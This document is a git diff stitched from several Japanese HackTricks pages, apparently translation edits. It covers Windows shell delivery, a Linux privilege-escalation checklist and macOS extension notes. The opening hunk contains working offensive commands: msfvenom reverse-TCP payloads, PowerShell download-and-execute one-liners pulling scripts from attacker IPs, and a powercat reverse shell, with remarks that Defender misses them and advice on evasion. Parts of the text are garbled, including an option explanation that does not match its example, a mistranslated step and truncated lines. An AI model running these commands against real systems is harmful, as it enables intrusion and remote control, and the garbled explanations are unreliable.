msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f vbs > payload.vbs
|
||||
cscript payload.vbs
|
||||
```
|
||||
|
||||
In this example, the `PAYLOAD` option specifies the type of payload to use (in this case, a reverse TCP meterpreter payload), the `SCRIPT` option specifies the path to the malicious script, and the `ARGS` option specifies any arguments to be passed to Cscript.
|
||||
In this example, `msfvenom` is used to generate a payload in VBScript format that establishes a reverse TCP connection to the attacker's IP address and port. The generated script is then saved to a file called `payload.vbs`. Finally, the `cscript` command is used to execute the malicious script on the target system.
|
||||
|
||||
Once the exploit is executed, Metasploit will use Cscript to run the malicious script on the target system, delivering the payload and establishing a connection back to the attacker's machine.
|
||||
|
||||
It is important to note that using Cscript as a payload delivery method may trigger antivirus or other security software on the target system. To increase the chances of success, it is recommended to use evasion techniques or modify the payload to bypass detection.
|
||||
By leveraging Cscript and Metasploit, an attacker can exploit vulnerabilities in Windows systems and gain unauthorized access to target systems. It is important to note that using such techniques for unauthorized access is illegal and unethical. This information is provided for educational purposes only.
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
|
@ -581,7 +511,7 @@ wmic os get /format:"https://webserver/payload.xsl"
|
|||
ネットワーク呼び出しを実行するプロセス:**wmic.exe**\
|
||||
ディスク上に書き込まれたペイロード:**IEローカルキャッシュ**
|
||||
|
||||
例:xslファイル:
|
||||
例のxslファイル:
|
||||
```
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -597,7 +527,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
|
||||
**検出されない**
|
||||
|
||||
**stager wmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
|
||||
**ステージャーwmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
|
||||
|
||||
## Msbuild
|
||||
```
|
||||
|
@ -658,7 +588,7 @@ Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defenderはそれを悪意のあるコードとして検出しません(まだ、2019/04/03)。
|
||||
Defenderはそれを悪意のあるコードとして検出しません(まだ、3/04/2019)。
|
||||
|
||||
**TODO: 他のnishangシェルをチェックする**
|
||||
|
||||
|
@ -670,9 +600,9 @@ Defenderはそれを悪意のあるコードとして検出しません(まだ
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日)。
|
||||
Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日現在)。
|
||||
|
||||
**powercatが提供する他のオプション:**
|
||||
**powercatによって提供される他のオプション:**
|
||||
|
||||
バインドシェル、リバースシェル(TCP、UDP、DNS)、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供...
|
||||
```
|
||||
|
@ -721,11 +651,15 @@ msfconsole -r unicorn.rc
|
|||
```
|
||||
以下は、ハッキング手法に関する本の内容です。以下の内容は、generic-methodologies-and-resources/shells/windows.md ファイルからのものです。
|
||||
|
||||
```markdown
|
||||
Start a web server serving the _powershell\_attack.txt_ file and execute in the victim:
|
||||
```shell
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
||||
被害者のコンピュータで、_powershell\_attack.txt_ ファイルを提供するウェブサーバーを起動し、次のコマンドを実行してください。
|
||||
```powershell
|
||||
IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>/powershell_attack.txt')
|
||||
```
|
||||
|
||||
このコマンドを実行すると、攻撃者のIPアドレスから_powershell\_attack.txt_ファイルをダウンロードし、被害者のシステムで実行します。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
@ -747,7 +681,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
|
@ -768,7 +702,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
|
|
|
@ -14,14 +14,14 @@
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティのホームです。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
|
@ -39,7 +39,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
* [ ] [**PATH**](privilege-escalation/#path)をチェックする、**書き込み可能なフォルダ**はありますか?
|
||||
* [ ] [**環境変数**](privilege-escalation/#env-info)をチェックする、**機密情報**はありますか?
|
||||
* [ ] スクリプトを使用して[**カーネルの脆弱性**](privilege-escalation/#kernel-exploits)を検索する(DirtyCowなど)。
|
||||
* [ ] [**sudoのバージョン**が脆弱かどうかをチェックする](privilege-escalation/#sudo-version)
|
||||
* [ ] [**sudoのバージョン**が脆弱性を持っているかどうかをチェックする](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Dmesg**の署名検証に失敗しました](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] システムの列挙(日付、システム統計、CPU情報、プリンターなど)をさらに行う
|
||||
* [ ] [より多くの防御策を列挙する](privilege-escalation/#enumerate-possible-defenses)
|
||||
|
@ -58,24 +58,24 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
### [プロセス](privilege-escalation/#processes)
|
||||
|
||||
* [ ] 不明なソフトウェアが実行されていますか?
|
||||
* [ ] ソフトウェアが適切な権限よりも高い権限で実行されていますか?
|
||||
* [ ] 実行中のプロセスの脆弱性を検索する(特に実行中のバージョン)。
|
||||
* [ ] 実行中のプロセスのバイナリを変更できますか?
|
||||
* [ ] プロセスを監視し、頻繁に実行されている興味深いプロセスがあるかどうかをチェックする。
|
||||
* [ ] 興味深いプロセスのメモリ(パスワードが保存されている可能性のある場所)を読むことができますか?
|
||||
* [ ] ソフトウェアが**必要以上の権限で実行**されていますか?
|
||||
* [ ] 実行中のプロセスの**脆弱性のエクスプロイト**を検索する(特に実行中のバージョン)。
|
||||
* [ ] 実行中のプロセスのバイナリを**変更**できますか?
|
||||
* [ ] プロセスを**監視**し、頻繁に実行されている興味深いプロセスがあるかどうかをチェックする。
|
||||
* [ ] 興味深いプロセスのメモリ(パスワードが保存されている可能性のある場所)を**読み取る**ことができますか?
|
||||
|
||||
### [スケジュールされた/クロンジョブ?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] クロンによって[**PATH** ](privilege-escalation/#cron-path)が変更され、書き込みができますか?
|
||||
* [ ] クロンジョブに[**ワイルドカード** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)がありますか?
|
||||
* [ ] 実行されている[**変更可能なスクリプト** ](privilege-escalation/#cron-script-overwriting-and-symlink)または変更可能なフォルダ内にありますか?
|
||||
* [ ] いくつかのスクリプトが非常に頻繁に実行されていることが検出されましたか?(1分、2分、または5分ごと)
|
||||
* [ ] 実行されている**スクリプト**があるか、または**変更可能なフォルダ**に存在しますか?
|
||||
* [ ] いくつかのスクリプトが非常に頻繁に実行されていることを検出しましたか?(1分、2分、または5分ごと)
|
||||
|
||||
### [サービス](privilege-escalation/#services)
|
||||
|
||||
* [ ] 書き込み可能な.serviceファイルはありますか?
|
||||
* [ ] サービスによって実行される書き込み可能なバイナリはありますか?
|
||||
* [ ] systemd PATH内の書き込み可能なフォルダはありますか?
|
||||
* [ ] **書き込み可能な.service**ファイルはありますか?
|
||||
* [ ] **サービス**によって実行される**書き込み可能なバイナリ**はありますか?
|
||||
* [ ] systemd PATHに**書き込み可能なフォルダ**はありますか?
|
||||
### [タイマー](privilege-escalation/#timers)
|
||||
|
||||
* [ ] **書き込み可能なタイマー**はありますか?
|
||||
|
@ -103,7 +103,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
* 所属しているグループによって特権を**エスカレーション**できますか?
|
||||
* **クリップボード**のデータはありますか?
|
||||
* パスワードポリシーはありますか?
|
||||
* 以前に発見したすべての既知のパスワードを使用して、**各**可能な**ユーザー**でログインしようとします。パスワードなしでもログインを試みます。
|
||||
* 以前に発見したすべての既知のパスワードを使用して、**各**可能な**ユーザー**でログインしようとしてみてください。パスワードなしでもログインしてみてください。
|
||||
|
||||
### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
|
@ -111,13 +111,13 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
|
||||
### [SUDOとSUIDコマンド](privilege-escalation/#sudo-and-suid)
|
||||
|
||||
* **sudoで任意のコマンドを実行**できますか?それを使用してルートとして何かを**読み取り、書き込み、実行**できますか? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* **sudoで任意のコマンドを実行**できますか?それを使用してrootとして何かを**読み取り、書き込み、実行**できますか? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* **悪用可能なSUIDバイナリ**はありますか? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [**sudoコマンドがパスで制限**されていますか?制限を**バイパス**できますか](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
* [**パスが指定されたSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path)? バイパス
|
||||
* [**パスが指定されているSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path)? バイパス
|
||||
* [**LD\_PRELOADの脆弱性**](privilege-escalation/#ld\_preload)
|
||||
* 書き込み可能なフォルダからの**SUIDバイナリにおける.soライブラリの不足**](privilege-escalation/#suid-binary-so-injection)はありますか?
|
||||
* 書き込み可能なフォルダからの**SUIDバイナリに.soライブラリがない**ですか?
|
||||
* [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)ですか?[**SUDOトークンを作成**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)できますか?
|
||||
* [**sudoersファイルを読み取るまたは変更**](privilege-escalation/#etc-sudoers-etc-sudoers-d)できますか?
|
||||
* [**/etc/ld.so.conf.d/**を[**変更**](privilege-escalation/#etc-ld-so-conf-d)できますか?
|
||||
|
@ -138,7 +138,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
|
||||
### [SSH](privilege-escalation/#ssh)
|
||||
|
||||
* **Debian**の[**OpenSSL予測可能なPRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
* **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
* [**SSHの興味深い設定値**](privilege-escalation/#ssh-interesting-configuration-values)
|
||||
|
||||
### [興味深いファイル](privilege-escalation/#interesting-files)
|
||||
|
@ -146,12 +146,12 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
* **プロファイルファイル** - 機密データを読み取る?特権エスカレーションに書き込む?
|
||||
* **passwd/shadowファイル** - 機密データを読み取る?特権エスカレーションに書き込む?
|
||||
* 機密データが含まれる可能性のある**一般的に興味深いフォルダ**をチェックします
|
||||
* **奇妙な場所/所有ファイル**、実行可能ファイルにアクセスまたは変更できるかもしれません
|
||||
* 最後の数分で**変更**されました
|
||||
* **奇妙な場所/所有ファイル**、アクセスまたは実行可能なファイルを変更できるかもしれません
|
||||
* 最後の数分で**変更**されましたか?
|
||||
* **Sqlite DBファイル**
|
||||
* **隠しファイル**
|
||||
* **PATH内のスクリプト/バイナリ**
|
||||
* **Webファイル**(パスワード?)
|
||||
* **Webファイル**(パスワードはありますか?)
|
||||
* **バックアップ**はありますか?
|
||||
* パスワードを含む既知のファイル:**Linpeas**と**LaZagne**を使用します
|
||||
* **一般的な検索**
|
||||
|
@ -168,7 +168,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
* 特権をエスカレーションするために**NFSを悪用**できますか?
|
||||
* 制限のあるシェルから**脱出**する必要がありますか?
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -176,9 +176,9 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
**web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
@ -187,8 +187,8 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>
|
||||
* [💬 Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください。
|
||||
* ハッキングのトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場です。**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
@ -31,7 +31,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
|
||||
## 基本的なMacOS
|
||||
|
||||
MacOSに慣れていない場合は、MacOSの基本を学ぶことから始めるべきです: 
|
||||
MacOSに慣れていない場合は、MacOSの基本を学ぶことから始めるべきです:
|
||||
|
||||
* 特別なMacOSの**ファイルと権限:**
|
||||
|
||||
|
@ -65,13 +65,13 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め
|
|||
|
||||
### MacOS MDM
|
||||
|
||||
企業では、**macOSシステムはおそらくMDMで管理**されることが多いです。したがって、攻撃者の視点からは、**それがどのように機能するか**を知ることが興味深いです:
|
||||
企業では、**MacOSシステムはおそらくMDMで管理**されることが多いです。したがって、攻撃者の観点からは、**それがどのように機能するか**を知ることが興味深いです:
|
||||
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MacOS - インスペクション、デバッグ、およびFuzzing
|
||||
### MacOS - 検査、デバッグ、およびFuzzing
|
||||
|
||||
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
|
||||
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
|
||||
|
@ -87,7 +87,7 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め
|
|||
|
||||
### ファイルの権限
|
||||
|
||||
**rootとして実行されているプロセスが**ユーザーによって制御可能なファイルを書き込む場合、ユーザーはこれを悪用して**特権をエスカレーション**することができます。\
|
||||
**rootとして実行されるプロセスが**ユーザーによって制御可能なファイルを書き込む場合、ユーザーはこれを悪用して**特権をエスカレーション**することができます。\
|
||||
これは次の状況で発生する可能性があります:
|
||||
|
||||
* 使用されるファイルはすでにユーザーによって作成されています(ユーザーが所有しています)
|
||||
|
@ -147,7 +147,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)にあります。
|
||||
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)で見つけることができます。
|
||||
|
||||
### 機密情報
|
||||
|
||||
|
@ -157,7 +157,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
|
||||
### Linux Privesc
|
||||
|
||||
まず、Linux/Unixに影響を与える特権昇格のトリックのほとんどは、MacOSマシンにも影響を与えることに注意してください。したがって、以下を参照してください:
|
||||
まず、Linux/Unixに影響を与える特権昇格に関するほとんどのトリックは、**MacOSマシンにも影響を与える**ことに注意してください。したがって、次を参照してください:
|
||||
|
||||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||||
|
@ -173,7 +173,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場です。**
|
||||
|
||||
|
@ -195,9 +195,9 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,11 +4,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,7 +16,7 @@
|
|||
|
||||
カーネル拡張とは異なり、**システム拡張はカーネルスペースではなくユーザースペースで実行**されるため、拡張機能の不具合によるシステムクラッシュのリスクが低減されます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
システム拡張には、**DriverKit**拡張、**Network**拡張、および**Endpoint Security**拡張の3つのタイプがあります。
|
||||
|
||||
|
@ -29,7 +29,7 @@ DriverKitは、**ハードウェアサポートを提供する**カーネル拡
|
|||
Network拡張は、ネットワークの動作をカスタマイズする機能を提供します。いくつかのタイプのNetwork拡張があります。
|
||||
|
||||
* **App Proxy**: これは、接続(またはフロー)単位ではなく個々のパケットに基づいてネットワークトラフィックを処理する、フロー指向のカスタムVPNプロトコルを実装するVPNクライアントの作成に使用されます。
|
||||
* **Packet Tunnel**: これは、個々のパケットに基づいてネットワークトラフィックを処理するパケット指向のカスタムVPNプロトコルを実装するVPNクライアントの作成に使用されます。
|
||||
* **Packet Tunnel**: これは、個々のパケットに基づいてネットワークトラフィックを処理する、パケット指向のカスタムVPNプロトコルを実装するVPNクライアントの作成に使用されます。
|
||||
* **Filter Data**: これは、ネットワークデータをフローレベルで監視または変更するために使用されます。
|
||||
* **Filter Packet**: これは、個々のネットワークパケットをフィルタリングするために使用されます。ネットワークデータをパケットレベルで監視または変更することができます。
|
||||
* **DNS Proxy**: これは、カスタムDNSプロバイダを作成するために使用されます。DNSリクエストとレスポンスを監視または変更するために使用できます。
|
||||
|
@ -63,10 +63,10 @@ Endpoint Securityフレームワークが監視できるイベントは、次の
|
|||
* **EndpointSecurityDriverClient**: これには`com.apple.private.endpoint-security.manager`の権限が必要で、これはシステムプロセス`endpointsecurityd`のみが保持しています。
|
||||
* **EndpointSecurityExternalClient**: これには`com.apple.developer.endpoint-security.client`の権限が必要です。これは通常、Endpoint Securityフレームワークと対話する必要があるサードパーティのセキュリティソフトウェアによって使用されます。
|
||||
|
||||
エンドポイントセキュリティ拡張機能で使用される**`libEndpointSecurity.dylib`**は、システム拡張機能がカーネルと通信するために使用するCライブラリです。このラ
|
||||
エンドポイントセキュリティ拡張機能で使用される**`libEndpointSecurity.dylib`**は、システム拡張機能がカーネルと通信するために使用するCライブラリです。この
|
||||
## ESFのバイパス
|
||||
|
||||
ESFは、レッドチームを検出しようとするセキュリティツールによって使用されるため、これを回避する方法に関する情報は興味深いです。
|
||||
ESFは、レッドチームメンバーを検出しようとするセキュリティツールによって使用されるため、これを回避する方法に関する情報は興味深いです。
|
||||
|
||||
### CVE-2021-30965
|
||||
|
||||
|
@ -88,9 +88,9 @@ tccutil reset All
|
|||
